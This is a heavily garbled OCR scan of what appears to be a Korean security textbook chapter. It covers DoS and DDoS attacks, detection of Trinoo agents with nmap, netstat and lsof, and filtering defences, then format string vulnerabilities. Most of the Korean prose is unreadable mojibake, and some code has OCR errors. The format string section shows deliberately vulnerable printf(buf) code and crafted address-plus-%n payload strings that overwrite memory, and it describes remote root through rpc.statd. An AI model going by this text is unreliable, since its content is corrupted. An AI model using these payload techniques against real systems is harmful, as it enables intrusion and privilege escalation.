ool = o F FAW A dotR == SHATE ejFo A AlRE =
Hol el gAdE def AREARY] el oA TAlE
I JA @k o] Aol A9 diFite] HA &
A=Z ote AaHE 34T FAHom A Ak e 9 FollA
o] ¥AL TFAANA Algst= UMEY 7]ss ol&ste] o] FofAA H
= A EE A7 54 XEE #F(listen)dtal v ZEAAE A}
EY 7]%E vHA]]
= Aol giolAe] FAES T Wl oA doJRE s Kokt

A SEZRIY FF, N £F, MEADL 249 Ft 579 A%

o
o

N
of{
i
rlo
=

=
>
~
N
O
X
(e}
iy
R
(e}
ol
2
>
o
Lo
o
24
o
O
g

AR 2 58 T20= o] ). o] 2 sendmail, talkd, inetd, httpd
5

A& BHA] FetAl o EM Al 2~E 9

o] &8 g g0 A Mail Storm ©] 2 3] sendmail & wFH| A 7] =

FAMo] U}, o] AL § TAE AL WAL HWOEH T F

e
o

Eo Hd AAEE wHHA7 = Zlolth @ aAEd HE Ao ve
Bl Alzgle] mx wds HEsre Mol Al wde] 7] Wi
/var/spool/mqueue ©l| oA A|~Ele] HSLE FIIAIZ| A €nt Ax o]
2 QIS|A Al='le] 7]5S whHAl7] Al B 3lo|th Sun sendmail o] 7

G-oll= Alz=gle] Fafol] Faglo] AL wdS WwAIRE BSD sendmail 2]

x
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A ALEe] Farh ol AR et A B AL

Al

o

=
22 7Hs3hd BSD sendmail & ©]83F= AS FH3FaL At} Mail

Storm ©] WA S Aol olF T ALt mE WAL Bl

7}

uE o] Wde] ot exm YEAT & & Ah) FUS FuA

T ARgA obel]F dohflold (@31 gl WAel vlel(head)HE-S

A @A Al=de] wd ARl2E SEsH sk W ol o= ¥

A

2l 8]0l sendmail W&o 23S

o
of\
Ay
>,
oy
o
ftl
3
S
olr
ol
)

tggog $8xX2 03 53 5 Javaapplet = ©]-83F W ol 9t} Java
=

applet o 4ol A4

A
2

o
=

applet ZHA|7} SEfo|AE=R
Hlo2 Az FEo]dES] CPU L WEHE AMEsA ") age
H4AZE CPU Y e ging LZA7]= applet & WHEo] F9
) o] applet o] FetelAER Aol FAA W A3l F

o=

oJAEE Al&ago] wiHFEjol o]=A "nh ZgE o] ¥4 W Y

A7k A4 Qete BAEE n2E gl b 5g A vl 9%

olx

2 FeplEst A%

o
i)
o
o
=
[-'Ei
)
ol
i,

¥

S
fd

>
2
fru

0

ElYlo] o]z]3 applet o] Wo] £l QOB F Java applet & Hrol-2

Azgle] ol gd B4 S Hw #NE o4 dut: o] E,

U202 inetd Hls olgshs ol St inetd 52 IEM 79 A

HWEhae el o] HE

KeN
=

Al

X
=

Al

Lo
N
olr
rlo
N
1o
g
rln
do
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=
>
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o
2
ro,
N
olr

FYSFES ARl Ak, aPEE o HES 2t BAaA 23
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Solaris 2.4 oA ©] W17} WAE 7| % ste] x| 7}
ARTE 18] F7FE inetd.conf ol = off o} Z&

#

# Echo, discard, daytime, and chargen are used primarily for

testing.

#

echo stream tcp nowait root internal
echo dgram udp wait root internal

discard stream tcp nowait root internal
discard dgram udp wait root internal
daytime stream tcp nowait root internal
daytime dgram udp wait root internal
chargen stream tcp nowait root internal
chargen dgram udp wait root internal

714 A2l =] 9+ echo, discard, daytime, chargen & ¢ol| A= AT 5]
o] AAA BAEZS YA wEolA g7] wie AxRE DA

¢rom DoS &Zo] o] 857 At 1elEE HekS A o] RESS
E

T HOe 2o U W Layer Ao FAWHO=Z I

2 7HA I 7S sk Wgel gtk o] W AA = TCP/IP, o|tiyl
Layer ol| /] o]FoX &= FAWHoZ BFd 47} JZlth TCP/IP, o]t
Layer @+ o] 13]3} zFo] Ee]#Ql o]ty 7t=RK-E o &FE|A o7}

A TCP ¢} IP 2t ZREZS o]&3f sj7lo] volErt A=, ol
o]¥1 Layer 55 Y%t TCP/IP o] tidiAl:= IP Spoofing 71" el A} =}A|

3] & Zlo]7] wiitol of7]el A= FhekskAl TCP/IP ©f Zt ATl o gt

MaS A B AdoA 2Ues sk
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TCP/IP 0SI1
¥ 3
Application
Application
APP Presentation Us
ser
Space
Session
ey A Software
(host-to-host)] Transport x
Internet A
Network Firmware
Physical Operating
2 Data Link Hardware Svystem
b 4 b 4
Physical Physical
A 4

WAL E = (TCP/UDP)
A z718t, A8 A, AR (MIHE) =2 1}
7

dqe= A el HolErt dFHe= st ¥

HEHF (IHY) T (1p)

dol8 S 1p HolE ol Y dHolg 1yl A4d3 AHY F4E Hof

oft
i)
)

AEe dolHE FnH|d}.
dolg 3 F
oz} rpDI 59 ME wiAY A HHE £33, WEHT AFol9] dlolH]

A& &AE 71T,

256



o] A9-= HAR o] FA Eolttde HAES R At A F
F2 e A2 HES 75E VA7 ek Aot o= i
o] £ TCP/IP RES AXA A2 oz dolgr} 7 ez
THsojA A FHE Aol ol SOCK_RAQ(raw socket)E ©|-83to 2

AR} A Qele] ARG Ase] wEe] Wil 4o FAN I 3

i

WolAuk o] E A £2ES AEYeH A FE 5 YonE 85

rir
P
o
by
il
=2,
Lo
ol
>,
k1
S8
-0,
o,
-1ru
2
N
ki
%0
N

o = mo 2
S 5 T Ut o] B

] half-open TCP A2 Al=dte] Aol S 2E9] listen queue & 7F5 Al

o] A2 ¥EH<l o Zi= SYN Flooding ¥

A target MA10] tep AAS AF-AS

Client & Server &

‘? Session &l TCP
Ack/Syn Resource &% Conection
Ack

Tcp

/
\ Data
Connection

Tcp

Ack/Fl disconnection

woR UER EEg S7MAA AR ALFS] ARGl A7)

QAT o] Mgl UES Auag A FYsHA 25 s Aol
Slek. of WHe A 9] F b W ges) PEEtkn ¥ S
QAR 2 el glolA] el the wel gtk o] Aol U=

(bandwidth)o] %2 U[EL oA ALgd 5 gl otk A% d= 7
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YEECH Al SgXtE
202 finger & A BMlo Biomd I By E S St
AA T HESS A = lvhal B2 AbeEe] Adatstal gtk

9.4. Denial of Service Attack 2| &Aoll st CHaY

9.4.1. d{Zle| =& A3

Denial of Service Attack = ©#|3s}7] 1g 7 7124 < o 2= 37
o] & A A3} Tool & Al&3hi= Z o]t} Trinoo ¢F £ DOS ¥4 S
WA HH YEA T EGF ol &S Skt MEY A B A
A FAsA LA 9 snoop ©H tepdump HHS 0] &5}
UDP 37, ICMP 37!, == TCP 7 Fo| S7tet=7t& Aok g
T2 tepdump & ©] €319 trinco ¥4S ©AE O E BHEE 3 X

ATt

15:40:08.576427 XXX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.5758:
udp 4 (DF)
15:40:08.579752 xXXX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.10113:
udp 4 (DF)
15:40:08.583056 xXxXX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.17515:
udp 4 (DF)
15:40:08.600948 xxxX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.31051:
udp 4 (DF)
15:40:08.604943 xxx.xXXX.XXX.XxXxX.32885 > yyy.yyy.Vyy.yyy.5627:
udp 4 (DF)
15:40:08.610886 xXxXX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.23010:
udp 4 (DF)
15:40:08.614202 xXXX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.7419:

udp 4 (DF)
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15:40:08.615507 xxxX.XXX.XXX.xXxx.32885 > yyy.yyy.yyy.yyy.16212:
udp 4 (DF)
15:40:08.616854 xxXX.XXX.XXX.XXX.32885 > yyy.yyy.yyy.yyy.4086:

udp 4 (DF)

ojHo| = ¥ E ~AMS %3} trinoo B4 = H AU} Trinoo 7} TZERE A}
X EZ A3} trinoo master =+ deamon ©] A X F o] o] =]
AAME 4 ok “nmap”ol et =TF o] &3sto] v o] 7t 7o

Eo fste] Ao YEYIAE A7 EE )

ke

# nmap -PI -sT -p 27665 -m logfile your.subnet

subnet & Cclass ¢! 7-$- XxXX.XXX.XXX.XxX/24, B class ¢! 7

[e)
o
XXX.XXX.XXX.XXx/16 7} o] &t Hrf & & WHoR =

f
N
N

o
|

[

Ll

e
o)

_O‘L

rir
o
i)

XXX.XXX.XXX.1-254 &} Zo] xds 4 g 7 7

W v 2

# nmap -PI -sT -p 27665 -m 2766.10g xxXx.xXxx.xxx.l1-254
# nmap -PI -sU -p 31335 -m 31335.100 xXxX.xXXX.xxXx.l1-254

# nmap -PI -sU -p 27444 -m 27444.109 XxXX.XXX.xxXx.1-254

S AA &7 Gk 713 WEYAE 31335 X Eo| dsle] 27

=
roL

Host: xxx.xxx.xxx.21 () Status: Up

Host: xxxX.xXxX.XxX.22 () Ports: 31335/open/udp/////
Host: xxX.XxX.XxX.28 () Ports: 31335/open/udp/////
Host: xxx.xXxX.xXxxXx.29 () Ports: 31335/open/udp/////
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Host: xxx.xXxXx.xxxX.77 () Ports: 31335/open/udp/////
Host: xxx.xXxXx.yyy.5 () Ports: 31335/open/udp/////
Host: xxx.xxx.yyy.30 () Ports: 31335/open/udp/////
Host: xxx.xxx.zzz.2 () Status: Up
Host: xxx.xxx.zzz.3 () Status: Up

# nmap -PI -sT -p 1524 -m 1524.109 XXX.XXX.XxxX.1-254

# nmap -PI -sT -p 600 -m 600.l0og xxXX.xXxx.xXxx.l-254

YEI 208 Fte] trino & FAF F ALuolA o] Zzad
UEE o5& AgIAT T
E7o] A Ho} YAY Z2W 0B wE F5 3o} Wit PEA

Ak, SAE et 2o PUS o] &3] trinoo & Fobd 4 itk

master : tserverl1900
deamon : tsolnmb, ns, httpd, rpc.trinoo, rpc.listen, trinix,

rpc.irix, irix
® crontab 9| A] trinoo &] ¢ X = Z =T}

# more /var/spool/cron/crontabs/root
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* * % x * /dev/isdn/.subsys/tsolnmb > /dev/null 2>&l

Y
filo
&
X2
)

® netstat H#H I} ps HHS ©] &3

# netstat -a
UDP

Local AddressState

*:31335 Idle

T
T=

*:27444 Idle

kA
rr

TCP

Local Address Remote Address Swind Send-Q Rwind Recv-Q State

*:27665 *:* ... Listen

® lIsof TZ 13 AlLg

o

S ©0]&3t9] trinoo o] EAE 2 4§ o
ol TRANAE FAT & 9= Isof TZI1WE 0] 835} trinoo ¢ <

A2 oy A7 5 v,

netstat @ oL} ps W=

)
o
o

= master 7} A3

# lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)

<==PID(1292) =<l
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=

# lsof -p 1292

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /

master 1292 root txt REG 3,1 30492 14357 /tmp/.../master <==

IES=E BRI

master 1292 root 3u inet 2534 UDP *:31335

master 1292 root 4u inet 2535 TCP *:27665 (LISTEN)

» deamon ©] AXE A-¢

# lsof | egrep ":27444"

ns 1316 root 3u inet 2502 UDP *:27444 <==PID(1316) &9l
# lsof -p 1316

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...

ns 1316 root rtd DIR 3,1 1024 2 /

ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns <==UZ3d 9

24
_I U
£

ns 1316 root 3u inet 2502 UDP *:27444

9.4.3. IxIFQl dro{4=ct
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-1 0o

!

2ol 9A

AANZ, 27 AlzgloA] AN EAZ TFstE Aol oy =29

(o, ERol&n} wlro] g g FEXAFN)o] Ut} o] oA Zz g
S 2 A 2Fof AFstHA MEolE do]l FoR2M LA HA A
F 3 7 RS ALY, o A2ES TFAATIAY, dF] doHE

2o 7 %2ate] DDos &2l o] 8457 % 3},

o] oty T2 dWtHo g I Uzl 2o ALY #1
FdZH A7 E st weha o] & Ftolgjal glel= Aol Fash
AALR W EA Hrh o]F A8 LEW, Alx" 205 FA4E daK

o] A7},

JO

=
T
DOS 349 BAY FAA FaE S ofd 24 Sl @ fE

egress © 9|5 QJQEHUYOZHE E0] Q2+ packet = 2|73}, ingress &
YR EAA JF2 Yrhs dfiFlS 2ot} egress UE Holdt 2| A3t
IP(=H| D)2 5-E o] sfjZlvte] g}-E & SdatAlE 7 dHIS o=
AL, AQGHA 2 1P 25E | 7l BF Addy, 5o &

$-E]o|A] RFC1918 A4 IP oA Eojo:= A& ¥ =t}
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RFC 1918 ol A A A&k IP 2} 7S DHCP,NAT 59 W39 714 Ip &
ALESE w) 2o]= IP 24, ©]2]3k IP & source IP address & 3}¢] 2F-5-F
E Tl FRRE FZlo] 5ol 42 A3 gloh wekA o] IPE

source IP & 5°] 2+ o] vt 132 source IP spoofing ¥ DDoS

A A% 3

o

7 %

rlr
el
P
RE
o,
vl

Inlaranl melw ork

Boarce IP check

drop

O 91 53 #i 7e 4%

npxjuko g - 2}9-E 2] Committed Access Rate (CAR) 7]5<S o]&3it}h
AR S A o] FFlo] B EHE S0l BT, €AE ol
)7l 2p-Ho A xdsteE 7]5S CAR 7]solet §th o U= rate
filtering o2} dhc}, upebA] tigfie] ulo]Ej7} HijoiX]= DDoS &

Ags B A5 Aage gaxrt adEs 495 1] #8ke] CAR7I

9.5. &1 A=

® & AKX HZST7]|% htip://www.ezsecurity.co.kr

® Progressive Web Group COOL4U http://www.coolgu.co.kr/
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St A H K S5 759, http://www.certcc.or.kr/

GNU HACKER http://gnuhacker.com/

Sy ojetal fY 2 Hob AA53] http://www.plus.or.kr/

He

KISA http://www.kisa.or.kr/

Robert Graham http://www.robertgraham.com/pubs/sniffing-
faq.html/#detect

3+ 2= http://www.hackerschool.org/

&)97 3 5-# 2] o}, http://www.superuser.co.kr/

265


http://www.certcc.or.kr/
http://gnuhacker.com/
http://www.plus.or.kr/
http://www.robertgraham.com/pubs/sniffing-faq.html/#detect
http://www.robertgraham.com/pubs/sniffing-faq.html/#detect
http://www.hackerschool.org/

YEEO A SHERE

10. Format String

10.1.Format String 72

10.1.1. Format String 2| 0|3}

Format String 0[ZI?

Format String ©| ©la}= 571 €8] o2 [lA] 10a]= °l&3A st

= s

[l 10.1]
char *str = "Hello";
char var = 'A';

int 1 = 100;

printf ("Variables are %s %c %d", str, var, i );

— _/
~—

Format String

=243 o variables are Hello A 100

2| oz HAH 9] dAlol A printf $<Fe] "Variables

are %s %c %d" 7} vt= Z¥3laix} sh= Hlo]H 9] format string ©] ¥ T},
reFskAl o) S 3hH, "format string o] & =2 &laLA} 3} dlo]E 9
form & 7]&3 Ex1dolg} g 4= Q).

CAo(C++E3DNA = AT F5 7IHALE AET = A BoH

of Atk B wol BIe) QlTt el FoH=AE dEETh
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= C9 A% fprintf(), printf(), sprintf(), snprintf(), vprintf(), viprintf(),
vsprintf(), vsnprintf(), setproctitle) 2} syslog)s ¢l °l& <l shyo|t} o]

RE g5Ee ¥EE ol T Ak

® #5914+ E#Z format string ]t}

® U5 9+ <4+ formatstring ¢ FEo] wel oe7ix =2 HA3ke

format string & Th2-2] F 71A| A9 Al&3kc).

® il Q= ¢4 E formatstring 08 W d= WS A9

o dwvhi} @ vt R she=A AY
HAEY O R HALE 1 wef

ke AQIA| ] tigh HolE T WHIAXAHAES] S EA=Y =FS

= Ho|

-9 [dA] 10.2]15 XA

format string & &

o)

[ & 10.2]

int i = 20;
int j = 10;
char *str = "The numbers are %d and %d";

printf (str, i, J);

¢Jo] =3+ "The numbers are 20 and 10"°0]&}11 FFEFH o2 243},

"%d"= WS Aol a, WA G E %= A 2}l

_Q
X
4,
=2
=
L)
to
rir
Shl

A5 =9(H Y, F, padding 5)9 FEHE A3k, Fo17 A9

HE AAs) SHE2EHA BE %9 FEAA A= HAs 21549
Zto 2 PRI (BAA S =88l %% AQ)) 835 HIAA A x}+=
o3 2o
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® %d- F(int)E AFH(decimal) = Ik
® %x- AL(inH) = 16 AW (hex) = HSH

® %s— wAE R W3k

Format Function Family

format string ©] AF-8-% oA = printf $H79 THS 5HS a9 #
10-1 7 Zt}
E 10-1 printf &5l B/
fprintf Prints to a FILE stream
printf Prints to the ‘stdout’ stream
sprintf Prints into a string
snprintf Prints into a string
vfprintf Print to a FILE stream from a va_arg structure
vprintf Prints to ‘stdout’ from a va_arg structure
vsprintf Prints to a string from a va_arg structure
vsnprintf Prints to a string with length checking from a va_arg structure
setproctitile Set argv[]
syslog Output to the syslog facility
Buffer Overflow 2} Format String 2| H|1t
E 10-2 Buffer Overflow 2} Format String 2| H|@
Buffer Overflow Format String
public since mid 1980’s June 1999
danger realized 1990’s June 2000
number of exploits a few thousand a few dozen
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Buffer Overflow

Format String

considered as

security threat

programming bug

Techniques

evolved and advanced

basic techniques

Visibility

difficult to spot

easy to find

Format String Bug

Format String Bug &= Z Aoy Y4 A4 AL

o]t} 1999 ¥ 9 ¥ Format String Bug ¢] <] ol

2000 Y 6 9 wu-ftpd 2.6.0 o] W3 FZHF=7}

FAEEE 19 4% Adagese s MEng

°] Format String Bug & 7|22 3§ F43=7

fez EAE WS BT HY

® Format String Bug & ©|&3 &4

F 10-3 Format String Bug & 0| &%t 34

Remote Attack Local Attack Worm
wu-ftpd lpr
BSD ftpd LPRng
Ramen Worm
proftpd Ypbind
(wu-ftpd, rpc.statd
rpc.statd BSD chpass
and LPRng)
PHP 3, 4 BSD fstat

Tis-Firewall Toolkit

Libc’s with localisation
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10.1.2. "%n" C|HE/EE?
%n T S E| B = w27} Z2 5 7] A2 A] "%n"e] encounting ¥ Al 4 7}
Ao AA ZHE sjjof & A5 AFE Alo], Fojx Wl A st

et

- o
L |

e
ftlo

olg] o Aol A= "how many characters printed "7}#] Alth. =, W 19

= A4 279 E°] 71aL,j ol 100000 ©] £ 7t
[0l A 10.3]
int i;

long 3j;

printf ("how many characters printed %n", &i);

printf ("%100000d %n", 1 &j);

10.1.3. C Calling Convention

oW & FEolM UE FEE &
ofvktt of )7k We] EAGTh BE C
g A WAR stack o AFEIL, 1 ohe =AW 2 Folxd @)

AE stack o] push At F2E = WA S &)
[oll A 10.4]

char *str = "C language";

int i=0;

printf ("Hello %s %d", i, str);
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ol ", 9 dAlA printf)7F TE% WA *stro] AL WA stack ol
Aga4zZ4 push 7 a1, 458 i9 gho] 1 thg push H& 2ojth
of & ML printf 7} EEFEA ofg9} #2 stack TFERE

b Aol

=l

LOW [ .... 1]
[ * ] €- format string pointer (“Hello %s %d”)
[ 1 ] €- integer value
[ *str ] €- string pointer

HIGH [ 6000

10.1.4. Stack 8| =

Buffer Overflow ol 4] ¢} 7o] stack = Format String Attack 9|4 %= 5 &2
A5 o] o},

Shmof] QA E WAFHA caller + &4 3} A} 5 (activation
record(orframe))E stack o Y=t} o & £ ¥4 {(inti, int ¥j)7} &7

A o] thg¥ 2 stack o TERE 7HAA "

271



YEECH Al SgXtE

+
+

Local variables,
saved registers,
activation record of

other functions

Bottom of stack

Pointer to J

Value of I

Return address to caller f()

saved registers

local variables of f()

Top of stack
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_Ll

oF Atal o7} glE Al format string S printf()oll Fvbd ol
o] YElE7? printfQE 13 EE 19+ stack ol HoIXI)
printf()= activation record 7} format string ¢ =5 W3X| A 27} 712] 7]

= R A4V stack o] Atk 7FAASHA Hoh BE % stack o A]

A AR g2 el "ok o] A2 stack & offFow ¢fA wa A
A< 243} A5 (activation record)®] H & HloutE=A9F AHglol

ZHA~EYZE0 7 QI E 1A FHt} activation record ol = WY AAF §1

Aukx el A3l A format string & caller o] 93] A3 77| =57}
A A activation record o ¥ oA Al ¥t} format string X2t &A=
printf()7} 2 A activation record X.t} A tietal A ZFskAl wHET

o9} o WO printf)¥F7t EHAEHOR H9S A = F

A A

%0,

AA= stack o] #hES e

[0l & 10.5]

function ()
{
char func buf[64];

char c;

main ()

{

char main buf[128];
char a,b;

int 1i;

function () ;
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Z2e] AFEEA WA main_buf[128]°] stack o 3] 31, 2=

a,b,i 7} 7313 function()°] =& HWA A AII=Fors
(ret addr), stack 2 FECIE 2 A% = ebp 9 A

function & <33t} 2t func buf[64]5 i, c 9 7S

Fgach.

olntE ¢ T2 1S function A3 F o}

Aot
[main_buf ] «
[ a ] <«
[ b ] D
[ 1 ] D
[ ret ] D
[saved ebp] «—
[ func_buf ] D E—
[ ¢ 1] D

10.1.5. ELF 9 o|&

2% ZHF FU5E AR

Z]

A
il
Hd

(command interpreter)”} 1t} ®E d(shel)oletal F=2+=

Loled A2 Bate] 49 W & Qi %

csh, ksh, bash, tesh 5©] <}

push 3}3L
push &%

stack ]|

7+ 0

&2 stack +ERE M

Botom of Stack

128 byte

1 byte

1 byte

4 byte

4 byte (return address )
4 byte (sfp)

64 byte

1 byte

Top of Stack

M)

BHe AMsE Byel 947

p
P
o
fr
wn

=2
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7F AL, A2 Holuth gm oA HE dutHow AR EHE ¥
o ApEggel 7hal gl

/usr/include/elf.h = EFL 3t 7 9] o]t (redhat 7.0). ELF & 23 o]n]X]
o 48 7bedt e I=g) HolHE JiA= AAYA o|v x| ek ¥t
o] ¥ 2] ] (shared library) 2] Z =29} HolHE A= 54T olnA =
T4 "ok 3L EFL ¥9e T2 a3 Ay 34 54 g5 A

=
g = = FEAHS AU} 98 = °]= constructors, destructors 2+

gee ol = ZH|de= Tl £ o] QL) constructors ©F destructors <1

o] &4e olzel 2o AelE el mmadue] ola) F4Hod F 9

static void start(void) _ attribute  ((constructor));

static void stop(void)  attribute  ((destructor));

constructor &7 9] 3= main() ol A= a1, destructor 742 T
+ main() 83 A} destructor £A T exit()ol] 93 ==

Ao = A dfo] ®Th ELF 23 7153 o] x v

HU
ET
mm
9
o
o
)
N
2

1

+ .ctors &} .dtors T FFoE RHHY, vy T 5H Y ool
< 7Ht
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® _ctors(constructor)®} .dtors(destructor):= 7| EAH o7 7] 7153 H|
zee 7=

® Y ojx|= o] olX strip % A AUt

® Oxffffffff <function address> <function address>...0x00000000 ©]%} 7+

& wojoleg 7t

iV

St e g o Y9 o) gate] Selst Asks BAL 9y
g g AS7? o] FES el A mlEeel gl o]opr]E & HA}

buffer ol = stack, heap, initialized data, bss 5 ©] $lt}. stack ¥} heap <3<
2 25z o3 qloggtar E ) bss(block structured by symbol section)

= %713} HA &2 o] El(uninitialized data)E°] A &&= ol

thee Z7kel Gejo] wmel gol A ofre] A AE welFch

| init | | | |

text (code) | data | bss | heap | virtual memory space | stack

low high

stack : char buf[1024];
heap : char *buf;

buf = malloc(1024) ;
bss : static char buf([];

initialized data : static char buf[] = "test";
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27 AW Wy 9IS FAbs] B A} ctors 9F .dtors = %7] 3}
% data Y9 bss G Abololl EAgt), 18] a1, stack G FE Al
w2l 492 lowaddress ©l 4] high address = A %o tt}, 2822
T2 Ao %73t data Gl overflow 7} Jthd -2 .dtors &
to] 20 2M exit()2} AHglo] overflow & o7 A8 A8 F 9=
Aol

Sholl A A3 3l5cel .ctors = mainQ & A2 Hel 2Fo] doh 2 E=,
HH e HZE7F dojutr] Hdoll ctors 7} & F Aol 1A $-¢

i .dtors FGS Yol & Fojn, oA EAXoR dtors E Ho] A B

== g

10.2.Format String %|2fAM

10.2.1. Fcl0| Ex|2l7f?
*printf A/F o] 52 7|EA 02 AAES Stack ol A Ado] Azl
ol whoF ALEAF7F %x, %s 5 A EXWEAD S QAR Fa1 1ol 3
FEE S 9A FS u *printf AL S Stack oA L #S
AWH L ok A 2 v e ZEOE diEiA dEEe

2 ¥ FALS 59 Stack ol U= HlolEE dump A HU

[ & 10.6]

char *str = "Hello World";

printf ("%s",str) ;
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char *str = "Hellow World";
printf (str);

char *str = "%$x %$x %$x %$x %$x %$x";
printf (str);

string ©] 3, o] Z o] T WA ZF fAE B wehA EF2 o] o] n}
AA = Aotk
9 AHA 7459 stack o] A= HES Z#EE hexcode HEJ = =2 517

Atk ool wpw FaAle] wabe] Hl,

10.2.2. Format String Tricking (1)

[GI&] 10.7]

/* normal case */

int var;

278



printf ("blah blah %n", &var);

/* tricky case */
char buf[64];
fgets( buf, sizeof (buf) , stdin );

printf (buf) ;

9 WA A4S printf = Thed g Fae w.

0x80483c8 <main>: push sebp

0x80483c9 <main+l>: mov  %esp, sebp

0x80483cb <main+3>: sub S0x4, $esp

0x80483ce <main+6>: lea Oxfffffffc (%ebp), Seax
0x80483d1 <main+9>: push %eax

0x80483d2 <main+10>: push  $0x8048440

0x80483d7 <main+15>: call 0x8048308 <printf>
0x80483dc <main+20>: add S0x8, $esp

0x80483df <main+23>: leave

0x80483e0 <main+24>: ret

Ak var @ int 8 WSS stack X

)
s
o
ol
H
<
=
1o,
N
b~
g
g
il
2}
8
5

of Wo] ¥& t}2, "blah blah %n"&+ EWAET S 2B push 3t} 1
of printf)E %3141 1 format string & 7]+ 0.2 &var o 45 F

§_
%, 1 Fad @4 HEEH FHFASNULL #4 23 7158 =
o}
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printf (" blah blah %n ", &var);
- —

A

[ ret addr ]
[ saved ebp]

[ var ]

L— 5 [ &var 1 ( Oxbf?2?2?2?22? )

O, oA ool vad 22 e sjrAk

AgA 4Ee Aokl Bl tet e BA9S Yolnak

"\0x10\0x7£\0xf£\0xbfSn"

printf ("\0x10\0xf7\0xff\0Oxbf%n")

= X ~ [ ret addr ]
[ saved ebp]
[ buf (63,..]
[ copocpoon 1
[ 4,5,6,7 1 ( %n\0 )
——> [ 0,1,2,3 )] ( Oxbffff710 )
[*fmt str ] ( *buf )

k=2 oF AMA o Aol A $-2]9] machine ©] 2 H o2 &var 2F= WG
5 sk W2 vlE gbyte o] o = 23 B §ltH(oxbf??????). 1H

o714 buf ol gbyte SJ= |~ o] EAES W oay Sgl= 1S
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1%
I
Rl
Il

printf()¢] HAE ol %n HEHEE B siFshs ARGUHA A5
T

ANM = &var)xl | A71A & <

_l

=, printf)2] wAFE I F YHE He WAL vlE *fmtstr S 2H-E Hf
2 9] stack 59 #FZ7} ¥ Aolt}l. o 74 = local variable ¢!
buf[o]~buf[3]°] ¥FZ int F = T HEH %n o] S| Fe] H= Aotk
ol Am k. 217} printfQell %n ol sHFet= AAE FA Aol
T &35, printfQ+ BFE. A2 buf[o]~buf[3]7FA 2] 4byte & %n Ul =]
B agets T4 2 FA4ete] O Fao] ARle] £A4E T E
=8, o7IME I #el 471 € Aotk

= -7k AQsE HA o gs & AT

ﬁL
= S A8 AT doh AAIE 4 2= value o]t
10.2.3. Format String Tricking (2)
[GI& 10.8]

int foo=1;
long var;

pritnf ("$100000d%n\n", foo, &var );

9 Al 10.1.2 9 [AA 10.3] oA B A} vtk wkek o]w Ao
72 3ldo] ZHESTIH white space x 99999 719} character'1' ©] &3 ¥
ot} 2E]la A4S FFEEZ %n S var ] 100000 °] ¥ #S FHo] Ytk
o|AL -7t E7F Woke #E &varol B 7 USE AlAFSHOL
[l A 10.7]9]

/* tricky case */

char buf[64];

fgets( buf, sizeof (buf) , stdin );
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printf (buf) ;

BRI 4ghe W ofelo EAAL Yo ows Bk,

"\0x00\0x01\0x00\0x00\0x10\0x£f7\0xf£\0xbf%1000d%n"

A=7HA olelE Z T, printf 7} 2} v S E Bl thajA o HA #2

o)L, stack & o€/ FESEA & &k Aolvh ATk olZle o 2

HAH F2E M =4 A

"\0x00\0x01\0x00\0x00\0x10\0x£f7\0x£f£\0xbf%1000d%n"

— __—

[ ret addr ]

[ saved ebp]

[ buf (63,..]

[ «ey.ey-. 1( %1000d%n\0 )
> [ 4,5,6,7 1( Oxbffff710 )
>» [ 0,1,2,3 )] ( 0x00000001 )
» [*fmt str ] ( *buf )

o171 A= oxbffffrio o] 2= F4ol 8byte(FEA<E 7A<F) + 1000 =

S 2 7 e, 24 " A4S NULL =

A3 ol BAE AP WA oIt kalou g Abgto] 2 FAeA

it
ru
ax
o
it
2
N
>
of\
fo
o
P
rlo
o
o
N
N
e
_O|L
rir
o
12
29
o,
Qﬂ,
rir
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10.2.4. 34 ALz
AAE A gk A, oA = -zl & o] wol] wol qrh th
Al AANS 7 a1, $-2]7)F Format String & 714 3L Tricking 1% #]4)

S 7FA] a1, Ik 2l Format String Attack o] 918]& A9 w4}

PAe = A2 WSS A= B oR A8 Priviledge & ¢

hoF Ak §-A7F A21e] UID S o o2 wprthd, FE9 filor I
239 48 3 4 dth GUARDENT A9 Tim Newsham ©] 2 Abghe
Aol UID & v A% 7heste]etal o5& 3, dA4es 7

do| #3l= u_area o] 917] 78 WS UID & AEQt= A

N
ot

] d¥HA <l Format String Attack ¢ &4 -2 Buffer Overflow ¢ H| =3}

o
AN
12
oX,
[l
it
N
juic]
lo,
-

@
o

-

=

oo

o
o,
@

a

]
Jo
o
rot
vl

® return address ¢} shellcode ¢] F47F EW3 glayo=w x3tg

format string < 74 3ttt

o ok o] buffer o] I format string & Wil &A%}
o ATA A ZTZ 1M return address & FF3). 181 9 ot
Al WEE-SHTY,
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10.2.5. 231 F Format String & F M 24

2|54 rpc.statd 2| input format string #2H

e Jf

2 A 2"

[¢)

rpe.statd 7} A A E o] =

o

# ps

Connectiva Linux 5.1 ©] 4 B,

Debian Linux 2.2, 2.3 (1386, sparc, powerpc, alpha)
RedHat Linux 6.x (1386, sparc, alpha)

S.u.S.E. Linux 7.0 ©|d ¥

rir
W
42

k)

(IRIX, Solaris, HPUX, FreeBSD + o] @ iLFo|A A3}

< )

o4

/usr/sbin/rpe.statd & = reboot ¢ ¥ % Network Status =1
HY S 984 RPC L2EZE ¢ % RPC utility 24 NFS lock
recovery = =313k u], NFS file locking A H] =0l ]3] AlEE = X
Z o]t} o]= NFS (Network File System) o}7|€l X & 43l
site] Q4o NFS = A9 tiF-29 FY=(52)A =8
FE o] glrh. 194 rpestatd & FHEHHA FEto] AEZ | A
& format string & AHU ] syslogO &0l et A w=d], o
4o A %A% input validation ©] it o] EA H}.

upg}A ool A 9l remote client A& A= rpe.statd & o= =<
return address & Wxsto 2H ¢ojo] APFA=E rpestatd 7} 2
P = ddtel] A FHE AT Z rpestatd AW Eo| A APA|Z
T ATk T3 rpestatd 7F A3 7] 91814+ network socket 2]

open = 3foFE=tl, o]#7] A= EE root = A= 3l

—auxww | grep rpc.statd
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MEEO AR SRR

1384 672 2 S Jun27 0:00 rpc.statd

